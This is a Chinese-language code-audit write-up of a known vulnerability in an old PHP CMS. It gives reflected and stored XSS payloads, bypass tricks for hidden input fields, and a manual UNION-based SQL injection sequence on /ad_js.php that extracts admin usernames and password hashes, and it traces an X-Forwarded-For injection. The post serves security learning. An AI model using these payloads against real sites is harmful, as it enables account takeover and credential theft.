PHP代码审计 wooyun-2010-00141

admin 2021年3月9日13:35:58评论164 views字数 2120阅读7分4秒阅读模式

PHP代码审计  wooyun-2010-00141

XSS

反射型XSS

先黑盒测一下,提取主页的链接

PHP代码审计  wooyun-2010-00141

这里以此为例

/user.php?act=reg&from=

先插个常规的payload,看看过滤情况

<script>alert(1)<script>

PHP代码审计  wooyun-2010-00141

这,都不用绕,直接闭合一下就行,一般有两种姿势

  • 闭合属性

  • 闭合标签

先尝试闭合input标签,构造payload

<input type="hidden" name="from" value=""><script>alert(2021)</script>

成功弹窗:

PHP代码审计  wooyun-2010-00141

尝试闭合属性

# 鼠标指针移动到元素时触发<input type="hidden" name="from" value="1" onmouseover="alert(1)" ""="">

但是由于存在hidden属性, 一般元素只要设置了这个属性,就不会显示 了,所以这里没法构造,但是为了演示,我把hidden改为text仅作演示(表示年少无知时曾这样交过src!!!🤡):

PHP代码审计  wooyun-2010-00141

记录一下关于hidden属性的绕过

# 插入点在hidden前,新增一个type属性覆盖hidden:<input value='a' src=1 onerror=alert(1) type="image" type="hidden">
# 插入点在hidden后,shift+alt+accesskey:<input value='a' type="hidden" accesskey="x" onclick=alert(1)>

shift+alt+accesskey

PHP代码审计  wooyun-2010-00141

如果这里能消除”“,还是有希望弹窗的。

存储型XSS

注册点

PHP代码审计  wooyun-2010-00141

这种场景主要会存在存储型xss,因为一旦点开个人资料时就会触发。

PHP代码审计  wooyun-2010-00141

先看看数据传输的过程,由于前端限制,无法插入payload,burp抓包插入

PHP代码审计  wooyun-2010-00141

更改email为

<script>alert(2021)</script>

注册成功

PHP代码审计  wooyun-2010-00141

成功插入数据库

PHP代码审计  wooyun-2010-00141

打开个人资料,成功弹窗

PHP代码审计  wooyun-2010-00141

查看源码:

PHP代码审计  wooyun-2010-00141

payload插入成功

模拟admin用户打开后台,查看注册用户

PHP代码审计  wooyun-2010-00141

弹窗

查看源代码,可见参数没做任何有效过滤:

PHP代码审计  wooyun-2010-00141

SQL注入

后面由于sql注入关联的参数太多,用审计工具进行辅助

  • seay源代码审计系统

  • fotify

seay源代码审计系统:

PHP代码审计  wooyun-2010-00141

fotify:

PHP代码审计  wooyun-2010-00141

根据扫描结果去针对sql注入挨个分析验证。

/ad_js.php

根据seay审计系统扫描结果定位到源码

PHP代码审计  wooyun-2010-00141

包含了/include/common.inc.php,跟进

PHP代码审计  wooyun-2010-00141

使用addslashes函数对参数进行过滤

但准注入点$ad_id是直接拼接到sql语句中的,且没有预定义字符

$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);

注入点已确认,跟一下查询结果的处理过程,进getone()

PHP代码审计  wooyun-2010-00141

该函数作用为:执行SQL语句并输出结果。

手工注入

1. 确定字段数

?adid=1 order by 7 #正常?adid=1 order by 8 #异常

PHP代码审计  wooyun-2010-00141

2. 得到字段数为7,确定回显位

?ad_id=1 union select 1,2,3,4,5,6,7

PHP代码审计  wooyun-2010-00141

3.  得到回显位为7,构造查看数据的payload

查看当前数据库

?ad_id=1 union select 1,2,3,4,5,6,database()

PHP代码审计  wooyun-2010-00141

4. 查看数据库版本信息

?ad_id=1 union select 1,2,3,4,5,6,@@version

PHP代码审计  wooyun-2010-00141

5. 查看所有表名

?ad_id=1 union select 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()

PHP代码审计  wooyun-2010-00141

6. 查看blue_user表中的所有字段

?ad_id=1 union select  1,2,3,4,5,6,group_concat(column_name) from information_schema.columns where table_name='blue_user'

PHP代码审计  wooyun-2010-00141

单引号被addlashes函数转义

去掉单引号,将表名进行16进制编码

?ad_id=1 union select  1,2,3,4,5,6,group_concat(column_name) from information_schema.columns where table_name=0x626c75655f61646d696e

PHP代码审计  wooyun-2010-00141

7. 得到字段user_name,pwd, 尝试获取数据

?ad_id=1union select 1,2,3,4,5,6,group_concat(user_name,0x3a,pwd) from blue_user

PHP代码审计  wooyun-2010-00141

/guest_book.php

XFF注入

PHP代码审计  wooyun-2010-00141

准注入点$ip,全局搜索ip,guest_book.php存在以下代码

PHP代码审计  wooyun-2010-00141

跟进$online_ip

PHP代码审计  wooyun-2010-00141

跟进getip()

PHP代码审计  wooyun-2010-00141

整个传参过程

X-Forwarded-For -> getip() -> $online_ip -> ip -> $sql

均没有被过滤,可确认存在注入。


参考:

https://www.onebug.org/bug/294.html

本文始发于微信公众号(don9sec):PHP代码审计 wooyun-2010-00141

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年3月9日13:35:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PHP代码审计 wooyun-2010-00141https://cn-sec.com/archives/284976.html

发表评论

匿名网友 填写信息